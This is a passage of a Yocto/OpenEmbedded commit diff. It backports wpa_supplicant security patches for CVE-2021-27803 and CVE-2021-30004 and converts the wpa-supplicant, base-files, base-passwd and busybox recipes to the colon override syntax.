+Address of the oldest remaining entry and the frame has incorrect P2P
+Device Address in the payload.
+
+Fix this by fetching the dev pointer again after having called
+p2p_add_device() so that the stale pointer cannot be used.
+
+Fixes: 17bef1e97a50 ("P2P: Add peer entry based on Provision Discovery Request")
+Signed-off-by: Jouni Malinen <jouni@codeaurora.org>
+
+Upstream-Status: Backport
+CVE: CVE-2021-27803
+
+Reference to upstream patch:
+[https://w1.fi/cgit/hostap/commit/?id=8460e3230988ef2ec13ce6b69b687e941f6cdb32]
+
+Signed-off-by: Stefan Ghinea <stefan.ghinea@windriver.com>
+---
+ src/p2p/p2p_pd.c | 12 +++++-------
+ 1 file changed, 5 insertions(+), 7 deletions(-)
+
+diff --git a/src/p2p/p2p_pd.c b/src/p2p/p2p_pd.c
+index 3994ec0..05fd593 100644
+--- a/src/p2p/p2p_pd.c
++++ b/src/p2p/p2p_pd.c
+@@ -595,14 +595,12 @@ void p2p_process_prov_disc_req(struct p2p_data *p2p, const u8 *sa,
+ goto out;
+ }
+
++ dev = p2p_get_device(p2p, sa);
+ if (!dev) {
+- dev = p2p_get_device(p2p, sa);
+- if (!dev) {
+- p2p_dbg(p2p,
+- "Provision Discovery device not found "
+- MACSTR, MAC2STR(sa));
+- goto out;
+- }
++ p2p_dbg(p2p,
++ "Provision Discovery device not found "
++ MACSTR, MAC2STR(sa));
++ goto out;
+ }
+ } else if (msg.wfd_subelems) {
+ wpabuf_free(dev->info.wfd_subelems);
+--
+2.17.1
+
diff --git a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/CVE-2021-30004.patch b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/CVE-2021-30004.patch
new file mode 100644
index 0000000000..e2540fc26b
--- /dev/null
+++ b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/CVE-2021-30004.patch
@@ -0,0 +1,123 @@
+From a0541334a6394f8237a4393b7372693cd7e96f15 Mon Sep 17 00:00:00 2001
+From: Jouni Malinen <j@w1.fi>
+Date: Sat, 13 Mar 2021 18:19:31 +0200
+Subject: [PATCH] ASN.1: Validate DigestAlgorithmIdentifier parameters
+
+The supported hash algorithms do not use AlgorithmIdentifier parameters.
+However, there are implementations that include NULL parameters in
+addition to ones that omit the parameters. Previous implementation did
+not check the parameters value at all which supported both these cases,
+but did not reject any other unexpected information.
+
+Use strict validation of digest algorithm parameters and reject any
+unexpected value when validating a signature. This is needed to prevent
+potential forging attacks.
+
+Signed-off-by: Jouni Malinen <j@w1.fi>
+
+Upstream-Status: Backport
+CVE: CVE-2021-30004
+
+Reference to upstream patch:
+[https://w1.fi/cgit/hostap/commit/?id=a0541334a6394f8237a4393b7372693cd7e96f15]
+
+Signed-off-by: Stefan Ghinea <stefan.ghinea@windriver.com>
+---
+ src/tls/pkcs1.c | 21 +++++++++++++++++++++
+ src/tls/x509v3.c | 20 ++++++++++++++++++++
+ 2 files changed, 41 insertions(+)
+
+diff --git a/src/tls/pkcs1.c b/src/tls/pkcs1.c
+index 141ac50..e09db07 100644
+--- a/src/tls/pkcs1.c
++++ b/src/tls/pkcs1.c
+@@ -240,6 +240,8 @@ int pkcs1_v15_sig_ver(struct crypto_public_key *pk,
+ os_free(decrypted);
+ return -1;
+ }
++ wpa_hexdump(MSG_MSGDUMP, "PKCS #1: DigestInfo",
++ hdr.payload, hdr.length);
+
+ pos = hdr.payload;
+ end = pos + hdr.length;
+@@ -261,6 +263,8 @@ int pkcs1_v15_sig_ver(struct crypto_public_key *pk,
+ os_free(decrypted);
+ return -1;
+ }
++ wpa_hexdump(MSG_MSGDUMP, "PKCS #1: DigestAlgorithmIdentifier",
++ hdr.payload, hdr.length);
+ da_end = hdr.payload + hdr.length;
+
+ if (asn1_get_oid(hdr.payload, hdr.length, &oid, &next)) {
+@@ -269,6 +273,23 @@ int pkcs1_v15_sig_ver(struct crypto_public_key *pk,
+ os_free(decrypted);
+ return -1;
+ }
++ wpa_hexdump(MSG_MSGDUMP, "PKCS #1: Digest algorithm parameters",
++ next, da_end - next);
++
++ /*
++ * RFC 5754: The correct encoding for the SHA2 algorithms would be to
++ * omit the parameters, but there are implementation that encode these
++ * as a NULL element. Allow these two cases and reject anything else.
++ */
++ if (da_end > next &&
++ (asn1_get_next(next, da_end - next, &hdr) < 0 ||
++ !asn1_is_null(&hdr) ||
++ hdr.payload + hdr.length != da_end)) {
++ wpa_printf(MSG_DEBUG,
++ "PKCS #1: Unexpected digest algorithm parameters");
++ os_free(decrypted);
++ return -1;
++ }
+
+ if (!asn1_oid_equal(&oid, hash_alg)) {
+ char txt[100], txt2[100];
+diff --git a/src/tls/x509v3.c b/src/tls/x509v3.c
+index 1bd5aa0..bf2289f 100644
+--- a/src/tls/x509v3.c
++++ b/src/tls/x509v3.c
+@@ -1834,6 +1834,7 @@ int x509_check_signature(struct x509_certificate *issuer,
+ os_free(data);
+ return -1;
+ }
++ wpa_hexdump(MSG_MSGDUMP, "X509: DigestInfo", hdr.payload, hdr.length);
+
+ pos = hdr.payload;
+ end = pos + hdr.length;
+@@ -1855,6 +1856,8 @@ int x509_check_signature(struct x509_certificate *issuer,
+ os_free(data);
+ return -1;
+ }
++ wpa_hexdump(MSG_MSGDUMP, "X509: DigestAlgorithmIdentifier",
++ hdr.payload, hdr.length);
+ da_end = hdr.payload + hdr.length;
+
+ if (asn1_get_oid(hdr.payload, hdr.length, &oid, &next)) {
+@@ -1862,6 +1865,23 @@ int x509_check_signature(struct x509_certificate *issuer,
+ os_free(data);
+ return -1;
+ }
++ wpa_hexdump(MSG_MSGDUMP, "X509: Digest algorithm parameters",
++ next, da_end - next);
++
++ /*
++ * RFC 5754: The correct encoding for the SHA2 algorithms would be to
++ * omit the parameters, but there are implementation that encode these
++ * as a NULL element. Allow these two cases and reject anything else.
++ */
++ if (da_end > next &&
++ (asn1_get_next(next, da_end - next, &hdr) < 0 ||
++ !asn1_is_null(&hdr) ||
++ hdr.payload + hdr.length != da_end)) {
++ wpa_printf(MSG_DEBUG,
++ "X509: Unexpected digest algorithm parameters");
++ os_free(data);
++ return -1;
++ }
+
+ if (x509_sha1_oid(&oid)) {
+ if (signature->oid.oid[6] != 5 /* sha-1WithRSAEncryption */) {
+--
+2.17.1
+
diff --git a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant_2.9.bb b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant_2.9.bb
index 7cc03fef7d..25cd8ef82c 100644
--- a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant_2.9.bb
+++ b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant_2.9.bb
@@ -1,5 +1,6 @@
SUMMARY = "Client for Wi-Fi Protected Access (WPA)"
HOMEPAGE = "http://w1.fi/wpa_supplicant/"
+DESCRIPTION = "wpa_supplicant is a WPA Supplicant for Linux, BSD, Mac OS X, and Windows with support for WPA and WPA2 (IEEE 802.11i / RSN). Supplicant is the IEEE 802.1X/WPA component that is used in the client stations. It implements key negotiation with a WPA Authenticator and it controls the roaming and IEEE 802.11 authentication/association of the wlan driver."
BUGTRACKER = "http://w1.fi/security/"
SECTION = "network"
LICENSE = "BSD-3-Clause"
@@ -7,15 +8,15 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=279b4f5abb9c153c285221855ddb78cc \
file://README;beginline=1;endline=56;md5=e7d3dbb01f75f0b9799e192731d1e1ff \
file://wpa_supplicant/wpa_supplicant.c;beginline=1;endline=12;md5=0a8b56d3543498b742b9c0e94cc2d18b"
DEPENDS = "dbus libnl"
-RRECOMMENDS_${PN} = "wpa-supplicant-passphrase wpa-supplicant-cli"
+RRECOMMENDS:${PN} = "wpa-supplicant-passphrase wpa-supplicant-cli"
-PACKAGECONFIG ??= "gnutls"
+PACKAGECONFIG ??= "openssl"
PACKAGECONFIG[gnutls] = ",,gnutls libgcrypt"
PACKAGECONFIG[openssl] = ",,openssl"
inherit pkgconfig systemd
-SYSTEMD_SERVICE_${PN} = "wpa_supplicant.service"
+SYSTEMD_SERVICE:${PN} = "wpa_supplicant.service"
SYSTEMD_AUTO_ENABLE = "disable"
SRC_URI = "http://w1.fi/releases/wpa_supplicant-${PV}.tar.gz \
@@ -29,6 +30,9 @@ SRC_URI = "http://w1.fi/releases/wpa_supplicant-${PV}.tar.gz \
file://0001-WPS-UPnP-Do-not-allow-event-subscriptions-with-URLs-.patch \
file://0002-WPS-UPnP-Fix-event-message-generation-using-a-long-U.patch \
file://0003-WPS-UPnP-Handle-HTTP-initiation-failures-for-events-.patch \
+ file://CVE-2021-0326.patch \
+ file://CVE-2021-27803.patch \
+ file://CVE-2021-30004.patch \
"
SRC_URI[md5sum] = "2d2958c782576dc9901092fbfecb4190"
SRC_URI[sha256sum] = "fcbdee7b4a64bea8177973299c8c824419c413ec2e3a95db63dd6a5dc3541f17"
@@ -37,11 +41,11 @@ CVE_PRODUCT = "wpa_supplicant"
S = "${WORKDIR}/wpa_supplicant-${PV}"
-PACKAGES_prepend = "wpa-supplicant-passphrase wpa-supplicant-cli "
-FILES_wpa-supplicant-passphrase = "${bindir}/wpa_passphrase"
-FILES_wpa-supplicant-cli = "${sbindir}/wpa_cli"
-FILES_${PN} += "${datadir}/dbus-1/system-services/* ${systemd_system_unitdir}/*"
-CONFFILES_${PN} += "${sysconfdir}/wpa_supplicant.conf"
+PACKAGES:prepend = "wpa-supplicant-passphrase wpa-supplicant-cli "
+FILES:wpa-supplicant-passphrase = "${bindir}/wpa_passphrase"
+FILES:wpa-supplicant-cli = "${sbindir}/wpa_cli"
+FILES:${PN} += "${datadir}/dbus-1/system-services/* ${systemd_system_unitdir}/*"
+CONFFILES:${PN} += "${sysconfdir}/wpa_supplicant.conf"
do_configure () {
${MAKE} -C wpa_supplicant clean
@@ -96,15 +100,15 @@ do_install () {
install -m 644 ${S}/wpa_supplicant/dbus/*.service ${D}/${datadir}/dbus-1/system-services
if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
- install -d ${D}/${systemd_unitdir}/system
- install -m 644 ${S}/wpa_supplicant/systemd/*.service ${D}/${systemd_unitdir}/system
+ install -d ${D}/${systemd_system_unitdir}
+ install -m 644 ${S}/wpa_supplicant/systemd/*.service ${D}/${systemd_system_unitdir}
fi
install -d ${D}/etc/default/volatiles
install -m 0644 ${WORKDIR}/99_wpa_supplicant ${D}/etc/default/volatiles
}
-pkg_postinst_wpa-supplicant () {
+pkg_postinst:${PN} () {
# If we're offline, we don't need to do this.
if [ "x$D" = "x" ]; then
killall -q -HUP dbus-daemon || true
diff --git a/meta/recipes-core/base-files/base-files_3.0.14.bb b/meta/recipes-core/base-files/base-files_3.0.14.bb
index 94299431f6..c3ecd81c4a 100644
--- a/meta/recipes-core/base-files/base-files_3.0.14.bb
+++ b/meta/recipes-core/base-files/base-files_3.0.14.bb
@@ -28,7 +28,7 @@ S = "${WORKDIR}"
INHIBIT_DEFAULT_DEPS = "1"
-docdir_append = "/${P}"
+docdir:append = "/${P}"
dirs1777 = "/tmp ${localstatedir}/volatile/tmp"
dirs2775 = ""
dirs555 = "/sys /proc"
@@ -64,7 +64,7 @@ conffiles = "${sysconfdir}/debian_version ${sysconfdir}/host.conf \
# hostnames.
#
# The hostname can be changed outside of this recipe by using
-# hostname_pn-base-files = "my-host-name".
+# hostname:pn-base-files = "my-host-name".
hostname = "${MACHINE}"
BASEFILESISSUEINSTALL ?= "do_install_basefilesissue"
@@ -77,7 +77,7 @@ BASEFILESISSUEINSTALL ?= "do_install_basefilesissue"
# Otherwise the directory creation will fail and we will have circular symbolic
# links.
#
-pkg_preinst_${PN} () {
+pkg_preinst:${PN} () {
#!/bin/sh -e
if [ x"$D" = "x" ]; then
if [ -h "/var/lock" ]; then
@@ -139,7 +139,7 @@ do_install () {
fi
}
-do_install_append_libc-glibc () {
+do_install:append:libc-glibc () {
install -m 0644 ${WORKDIR}/nsswitch.conf ${D}${sysconfdir}/nsswitch.conf
}
@@ -162,7 +162,7 @@ do_install_basefilesissue () {
}
do_install_basefilesissue[vardepsexclude] += "DATE"
-do_install_append_linuxstdbase() {
+do_install:append:linuxstdbase() {
for d in ${dirs755-lsb}; do
install -m 0755 -d ${D}$d
done
@@ -175,10 +175,12 @@ do_install_append_linuxstdbase() {
SYSROOT_DIRS += "${sysconfdir}/skel"
PACKAGES = "${PN}-doc ${PN} ${PN}-dev ${PN}-dbg"
-FILES_${PN} = "/"
-FILES_${PN}-doc = "${docdir} ${datadir}/common-licenses"
+FILES:${PN} = "/"
+FILES:${PN}-doc = "${docdir} ${datadir}/common-licenses"
PACKAGE_ARCH = "${MACHINE_ARCH}"
-CONFFILES_${PN} = "${sysconfdir}/fstab ${@['', '${sysconfdir}/hostname ${sysconfdir}/hosts'][(d.getVar('hostname') != '')]} ${sysconfdir}/shells"
-CONFFILES_${PN} += "${sysconfdir}/motd ${sysconfdir}/nsswitch.conf ${sysconfdir}/profile"
+CONFFILES:${PN} = "${sysconfdir}/fstab ${@['', '${sysconfdir}/hostname ${sysconfdir}/hosts'][(d.getVar('hostname') != '')]} ${sysconfdir}/shells"
+CONFFILES:${PN} += "${sysconfdir}/motd ${sysconfdir}/nsswitch.conf ${sysconfdir}/profile"
+
+INSANE_SKIP:${PN} += "empty-dirs"
diff --git a/meta/recipes-core/base-passwd/base-passwd_3.5.29.bb b/meta/recipes-core/base-passwd/base-passwd_3.5.29.bb
index d01cd7e297..2926a377c6 100644
--- a/meta/recipes-core/base-passwd/base-passwd_3.5.29.bb
+++ b/meta/recipes-core/base-passwd/base-passwd_3.5.29.bb
@@ -1,5 +1,6 @@
SUMMARY = "Base system master password/group files"
DESCRIPTION = "The master copies of the user database files (/etc/passwd and /etc/group). The update-passwd tool is also provided to keep the system databases synchronized with these master files."
+HOMEPAGE = "https://launchpad.net/base-passwd"
SECTION = "base"
LICENSE = "GPLv2"
LIC_FILES_CHKSUM = "file://COPYING;md5=eb723b61539feef013de476e68b5c50a"
@@ -72,7 +73,7 @@ base_passwd_tweaksysroot () {
chmod 0755 $dest
}
-python populate_packages_prepend() {
+python populate_packages:prepend() {
# Add in the preinst function for ${PN}
# We have to do this here as prior to this, passwd/group.master
# would be unavailable. We need to create these files at preinst
@@ -97,17 +98,17 @@ if [ ! -e $D${sysconfdir}/group ]; then
""" + group + """EOF
fi
"""
- d.setVar(d.expand('pkg_preinst_${PN}'), preinst)
+ d.setVar(d.expand('pkg_preinst:${PN}'), preinst)
}
addtask do_package after do_populate_sysroot
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
PACKAGES =+ "${PN}-update"
-FILES_${PN}-update = "${sbindir}/* ${datadir}/${PN}"
+FILES:${PN}-update = "${sbindir}/* ${datadir}/${PN}"
-pkg_postinst_${PN}-update () {
+pkg_postinst:${PN}-update () {
#!/bin/sh
if [ -n "$D" ]; then
exit 0
diff --git a/meta/recipes-core/busybox/busybox-inittab_1.32.0.bb b/meta/recipes-core/busybox/busybox-inittab_1.32.0.bb
deleted file mode 100644
index 61fb8cbad1..0000000000
--- a/meta/recipes-core/busybox/busybox-inittab_1.32.0.bb
+++ /dev/null
@@ -1,35 +0,0 @@
-SUMMARY = "inittab configuration for BusyBox"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6"
-
-SRC_URI = "file://inittab"
-
-S = "${WORKDIR}"
-
-INHIBIT_DEFAULT_DEPS = "1"
-
-do_compile() {
- :
-}
-
-do_install() {
- install -d ${D}${sysconfdir}
- install -D -m 0644 ${WORKDIR}/inittab ${D}${sysconfdir}/inittab
- tmp="${SERIAL_CONSOLES}"
- [ -n "$tmp" ] && echo >> ${D}${sysconfdir}/inittab
- for i in $tmp
- do
- j=`echo ${i} | sed s/\;/\ /g`
- id=`echo ${i} | sed -e 's/^.*;//' -e 's/;.*//'`
- echo "$id::respawn:${base_sbindir}/getty ${j}" >> ${D}${sysconfdir}/inittab
- done
-}
-
-# SERIAL_CONSOLES is generally defined by the MACHINE .conf.
-# Set PACKAGE_ARCH appropriately.
-PACKAGE_ARCH = "${MACHINE_ARCH}"
-
-FILES_${PN} = "${sysconfdir}/inittab"
-CONFFILES_${PN} = "${sysconfdir}/inittab"
-
-RCONFLICTS_${PN} = "sysvinit-inittab"
diff --git a/meta/recipes-core/busybox/busybox-inittab_1.34.1.bb b/meta/recipes-core/busybox/busybox-inittab_1.34.1.bb
new file mode 100644
index 0000000000..be8c06323c
--- /dev/null
+++ b/meta/recipes-core/busybox/busybox-inittab_1.34.1.bb
@@ -0,0 +1,85 @@
+SUMMARY = "inittab configuration for BusyBox"
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6"
+
+SRC_URI = "file://inittab"
+
+S = "${WORKDIR}"
+
+INHIBIT_DEFAULT_DEPS = "1"
+
+do_compile() {
+ :
+}
+
+do_install() {
+ install -d ${D}${sysconfdir}
+ install -D -m 0644 ${WORKDIR}/inittab ${D}${sysconfdir}/inittab
+ tmp="${SERIAL_CONSOLES}"
+ [ -n "$tmp" ] && echo >> ${D}${sysconfdir}/inittab
+ for i in $tmp
+ do
+ j=`echo ${i} | sed s/\;/\ /g`
+ id=`echo ${i} | sed -e 's/^.*;//' -e 's/;.*//'`
+ echo "$id::respawn:${base_sbindir}/getty ${j}" >> ${D}${sysconfdir}/inittab
+ done
+ if [ "${USE_VT}" = "1" ]; then
+ cat <<EOF >>${D}${sysconfdir}/inittab
+# ${base_sbindir}/getty invocations for the runlevels.
+#
+# The "id" field MUST be the same as the last
+# characters of the device (after "tty").
+#
+# Format:
+# <id>:<runlevels>:<action>:<process>
+#
+
+EOF
+
+ for n in ${SYSVINIT_ENABLED_GETTYS}
+ do
+ echo "tty$n:12345:respawn:${base_sbindir}/getty 38400 tty$n" >> ${D}${sysconfdir}/inittab
+ done
+ echo "" >> ${D}${sysconfdir}/inittab
+ fi
+
+}
+
+pkg_postinst:${PN} () {
+# run this on host and on target
+if [ "${SERIAL_CONSOLES_CHECK}" = "" ]; then
+ exit 0
+fi
+}
+
+pkg_postinst_ontarget:${PN} () {
+# run this on the target
+if [ -e /proc/consoles ]; then
+ tmp="${SERIAL_CONSOLES_CHECK}"
+ for i in $tmp
+ do
+ j=`echo ${i} | sed -e s/^.*\;//g -e s/\:.*//g`
+ k=`echo ${i} | sed s/^.*\://g`
+ if [ -z "`grep ${j} /proc/consoles`" ]; then
+ if [ -z "${k}" ] || [ -z "`grep ${k} /proc/consoles`" ] || [ ! -e /dev/${j} ]; then
+ sed -i -e /^.*${j}\ /d -e /^.*${j}$/d /etc/inittab
+ fi
+ fi
+ done
+ kill -HUP 1
+else
+ exit 1
+fi
+}
+
+# SERIAL_CONSOLES is generally defined by the MACHINE .conf.
+# Set PACKAGE_ARCH appropriately.
+PACKAGE_ARCH = "${MACHINE_ARCH}"
+
+FILES:${PN} = "${sysconfdir}/inittab"
+CONFFILES:${PN} = "${sysconfdir}/inittab"
+
+RCONFLICTS:${PN} = "sysvinit-inittab"
+
+USE_VT ?= "1"
+SYSVINIT_ENABLED_GETTYS ?= "1"
diff --git a/meta/recipes-core/busybox/busybox.inc b/meta/recipes-core/busybox/busybox.inc
index e0522be729..622325aabb 100644
--- a/meta/recipes-core/busybox/busybox.inc
+++ b/meta/recipes-core/busybox/busybox.inc
@@ -23,39 +23,39 @@ EXTRA_OEMAKE = "CC='${CC}' LD='${CCLD}' V=1 ARCH=${TARGET_ARCH} CROSS_COMPILE=${
PACKAGES =+ "${PN}-httpd ${PN}-udhcpd ${PN}-udhcpc ${PN}-syslog ${PN}-mdev ${PN}-hwclock"
-FILES_${PN}-httpd = "${sysconfdir}/init.d/busybox-httpd /srv/www"
-FILES_${PN}-syslog = "${sysconfdir}/init.d/syslog* ${sysconfdir}/syslog-startup.conf* ${sysconfdir}/syslog.conf* ${systemd_unitdir}/system/syslog.service ${sysconfdir}/default/busybox-syslog"
-FILES_${PN}-mdev = "${sysconfdir}/init.d/mdev ${sysconfdir}/mdev.conf ${sysconfdir}/mdev/*"
-FILES_${PN}-udhcpd = "${sysconfdir}/init.d/busybox-udhcpd"
-FILES_${PN}-udhcpc = "${sysconfdir}/udhcpc.d ${datadir}/udhcpc"
-FILES_${PN}-hwclock = "${sysconfdir}/init.d/hwclock.sh"
+FILES:${PN}-httpd = "${sysconfdir}/init.d/busybox-httpd /srv/www"
+FILES:${PN}-syslog = "${sysconfdir}/init.d/syslog* ${sysconfdir}/syslog-startup.conf* ${sysconfdir}/syslog.conf* ${systemd_system_unitdir}/syslog.service ${sysconfdir}/default/busybox-syslog"
+FILES:${PN}-mdev = "${sysconfdir}/init.d/mdev ${sysconfdir}/mdev.conf ${sysconfdir}/mdev/*"
+FILES:${PN}-udhcpd = "${sysconfdir}/init.d/busybox-udhcpd"
+FILES:${PN}-udhcpc = "${sysconfdir}/udhcpc.d ${datadir}/udhcpc"
+FILES:${PN}-hwclock = "${sysconfdir}/init.d/hwclock.sh"
INITSCRIPT_PACKAGES = "${PN}-httpd ${PN}-syslog ${PN}-udhcpd ${PN}-mdev ${PN}-hwclock"
-INITSCRIPT_NAME_${PN}-httpd = "busybox-httpd"
-INITSCRIPT_NAME_${PN}-hwclock = "hwclock.sh"
-INITSCRIPT_NAME_${PN}-mdev = "mdev"
-INITSCRIPT_PARAMS_${PN}-mdev = "start 04 S ."
-INITSCRIPT_NAME_${PN}-syslog = "syslog"
-INITSCRIPT_NAME_${PN}-udhcpd = "busybox-udhcpd"
+INITSCRIPT_NAME:${PN}-httpd = "busybox-httpd"
+INITSCRIPT_NAME:${PN}-hwclock = "hwclock.sh"
+INITSCRIPT_NAME:${PN}-mdev = "mdev"
+INITSCRIPT_PARAMS:${PN}-mdev = "start 04 S ."
+INITSCRIPT_NAME:${PN}-syslog = "syslog"
+INITSCRIPT_NAME:${PN}-udhcpd = "busybox-udhcpd"
SYSTEMD_PACKAGES = "${PN}-syslog"
-SYSTEMD_SERVICE_${PN}-syslog = "${@bb.utils.contains('SRC_URI', 'file://syslog.cfg', 'busybox-syslog.service', '', d)}"
+SYSTEMD_SERVICE:${PN}-syslog = "${@bb.utils.contains('SRC_URI', 'file://syslog.cfg', 'busybox-syslog.service', '', d)}"
-RDEPENDS_${PN}-syslog = "busybox"
-CONFFILES_${PN}-syslog = "${sysconfdir}/syslog-startup.conf"
-RCONFLICTS_${PN}-syslog = "rsyslog sysklogd syslog-ng"
+RDEPENDS:${PN}-syslog = "busybox"
+CONFFILES:${PN}-syslog = "${sysconfdir}/syslog-startup.conf"
+RCONFLICTS:${PN}-syslog = "rsyslog sysklogd syslog-ng"
-CONFFILES_${PN}-mdev = "${sysconfdir}/mdev.conf"
+CONFFILES:${PN}-mdev = "${sysconfdir}/mdev.conf"
-RRECOMMENDS_${PN} = "${PN}-udhcpc"
+RRECOMMENDS:${PN} = "${PN}-udhcpc"
-RDEPENDS_${PN} = "${@["", "busybox-inittab"][(d.getVar('VIRTUAL-RUNTIME_init_manager') == 'busybox')]}"
+RDEPENDS:${PN} = "${@["", "busybox-inittab"][(d.getVar('VIRTUAL-RUNTIME_init_manager') == 'busybox')]}"
inherit cml1 systemd update-rc.d ptest
# busybox's unzip test case needs zip command, which busybox itself does not provide
-RDEPENDS_${PN}-ptest = "zip"
+RDEPENDS:${PN}-ptest = "zip"
# internal helper
def busybox_cfg(feature, tokens, cnf, rem):
@@ -97,12 +97,12 @@ DO_IPv6 := "${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 1, 0, d)}"
python () {
if "${OE_DEL}":
- d.setVar('configmangle_append', "${OE_DEL}" + "\n")
+ d.setVar('configmangle:append', "${OE_DEL}" + "\n")
if "${OE_FEATURES}":
- d.setVar('configmangle_append',
+ d.setVar('configmangle:append',
"/^### DISTRO FEATURES$/a\\\n%s\n\n" %
("\\n".join((d.expand("${OE_FEATURES}").split("\n")))))
- d.setVar('configmangle_append',
+ d.setVar('configmangle:append',
"/^### CROSS$/a\\\n%s\n" %
("\\n".join(["CONFIG_EXTRA_CFLAGS=\"${CFLAGS} ${HOST_CC_ARCH}\""
])
@@ -110,9 +110,8 @@ python () {
}
do_prepare_config () {
- if [ "${BUILD_REPRODUCIBLE_BINARIES}" = "1" ]; then
- export KCONFIG_NOTIMESTAMP=1
- fi
+ export KCONFIG_NOTIMESTAMP=1
+
sed -e '/CONFIG_STATIC/d' \
< ${WORKDIR}/defconfig > ${S}/.config
echo "# CONFIG_STATIC is not set" >> .config
@@ -143,9 +142,8 @@ do_configure () {
do_compile() {
unset CFLAGS CPPFLAGS CXXFLAGS LDFLAGS
- if [ "${BUILD_REPRODUCIBLE_BINARIES}" = "1" ]; then
- export KCONFIG_NOTIMESTAMP=1
- fi
+ export KCONFIG_NOTIMESTAMP=1
+
if [ "${BUSYBOX_SPLIT_SUID}" = "1" -a x`grep "CONFIG_FEATURE_INDIVIDUAL=y" .config` = x ]; then
# split the .config into two parts, and make two busybox binaries
if [ -e .config.orig ]; then
@@ -309,24 +307,25 @@ do_install () {
install -m 0755 ${WORKDIR}/mdev-mount.sh ${D}${sysconfdir}/mdev
fi
fi
- if grep -q "CONFIG_INIT=y" ${B}/.config; then
+ if grep -q "CONFIG_INIT=y" ${B}/.config && ${@bb.utils.contains('VIRTUAL-RUNTIME_init_manager','busybox','true','false',d)}; then
install -D -m 0755 ${WORKDIR}/rcS ${D}${sysconfdir}/init.d/rcS
install -D -m 0755 ${WORKDIR}/rcK ${D}${sysconfdir}/init.d/rcK
+ install -D -m 0755 ${WORKDIR}/rcS.default ${D}${sysconfdir}/default/rcS
fi
if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
if grep -q "CONFIG_KLOGD=y" ${B}/.config; then
- install -d ${D}${systemd_unitdir}/system
+ install -d ${D}${systemd_system_unitdir}
sed 's,@base_sbindir@,${base_sbindir},g' < ${WORKDIR}/busybox-klogd.service.in \
- > ${D}${systemd_unitdir}/system/busybox-klogd.service
+ > ${D}${systemd_system_unitdir}/busybox-klogd.service
fi
if grep -q "CONFIG_SYSLOGD=y" ${B}/.config; then
- install -d ${D}${systemd_unitdir}/system
+ install -d ${D}${systemd_system_unitdir}
sed 's,@base_sbindir@,${base_sbindir},g' < ${WORKDIR}/busybox-syslog.service.in \
- > ${D}${systemd_unitdir}/system/busybox-syslog.service
- if [ ! -e ${D}${systemd_unitdir}/system/busybox-klogd.service ] ; then
- sed -i '/klog/d' ${D}${systemd_unitdir}/system/busybox-syslog.service
+ > ${D}${systemd_system_unitdir}/busybox-syslog.service
+ if [ ! -e ${D}${systemd_system_unitdir}/busybox-klogd.service ] ; then
+ sed -i '/klog/d' ${D}${systemd_system_unitdir}/busybox-syslog.service
fi
if [ -f ${WORKDIR}/busybox-syslog.default ] ; then
install -d ${D}${sysconfdir}/default
@@ -355,7 +354,7 @@ inherit update-alternatives
ALTERNATIVE_PRIORITY = "50"
-python do_package_prepend () {
+python do_package:prepend () {
# We need to load the full set of busybox provides from the /etc/busybox.links
# Use this to see the update-alternatives with the right information
@@ -372,9 +371,9 @@ python do_package_prepend () {
if alt_name == '[':
alt_name = 'lbracket'
if alt_name == 'klogd' or alt_name == 'syslogd':
- d.appendVar('ALTERNATIVE_%s-syslog' % (pn), ' ' + alt_name)
+ d.appendVar('ALTERNATIVE:%s-syslog' % (pn), ' ' + alt_name)
else:
- d.appendVar('ALTERNATIVE_%s' % (pn), ' ' + alt_name)
+ d.appendVar('ALTERNATIVE:%s' % (pn), ' ' + alt_name)
d.setVarFlag('ALTERNATIVE_LINK_NAME', alt_name, alt_link_name)
if os.path.exists('%s%s' % (dvar, target)):
d.setVarFlag('ALTERNATIVE_TARGET', alt_name, target)
@@ -394,7 +393,7 @@ python do_package_prepend () {
# These symlinks will later be updated by update-alternatives calls.
# The update-alternatives.bbclass' postinst script runs firstly before other
# postinst, but this part of code needs run firstly, so add this funtion.
-python populate_packages_updatealternatives_append() {
+python populate_packages_updatealternatives:append() {
postinst = """
test -n 2 > /dev/null || alias test='busybox test'
if test "x$D" = "x"; then
@@ -421,10 +420,10 @@ if grep -q "^${base_bindir}/bash$" $D${sysconfdir}/busybox.links*; then
fi
"""
- d.prependVar('pkg_postinst_%s' % pkg, postinst)
+ d.prependVar('pkg_postinst:%s' % pkg, postinst)
}
-pkg_postinst_${PN}_prepend () {
+pkg_postinst:${PN}:prepend () {
# Need path to saved utils, but they may have be removed on upgrade of busybox
# Only use shell to get paths. Also capture if busybox was saved.
BUSYBOX=""
@@ -440,7 +439,7 @@ pkg_postinst_${PN}_prepend () {
fi
}
-pkg_postinst_${PN}_append () {
+pkg_postinst:${PN}:append () {
# If busybox exists in the remove directory it is because it was the only shell left.
if [ "x$D" = "x" ] ; then
if [ "x$BUSYBOX" != "x" ] ; then
@@ -450,7 +449,7 @@ pkg_postinst_${PN}_append () {
fi
}
-pkg_prerm_${PN} () {
+pkg_prerm:${PN} () {
# This is so you can make busybox commit suicide - removing busybox with no other packages
# providing its files, this will make update-alternatives work, but the update-rc.d part
# for syslog, httpd and/or udhcpd will fail if there is no other package providing sh
@@ -480,7 +479,7 @@ pkg_prerm_${PN} () {
fi
}
-pkg_postrm_${PN} () {
+pkg_postrm:${PN} () {
# Add path to remove dir in case we removed our only grep
if [ "x$D" = "x" ] ; then
for busybox_rmdir in /tmp/busyboxrm-*; do
@@ -495,7 +494,7 @@ pkg_postrm_${PN} () {
fi
}
-pkg_prerm_${PN}-syslog () {
+pkg_prerm:${PN}-syslog () {
# remove syslog
if test "x$D" = "x"; then
if test "$1" = "upgrade" -o "$1" = "remove"; then
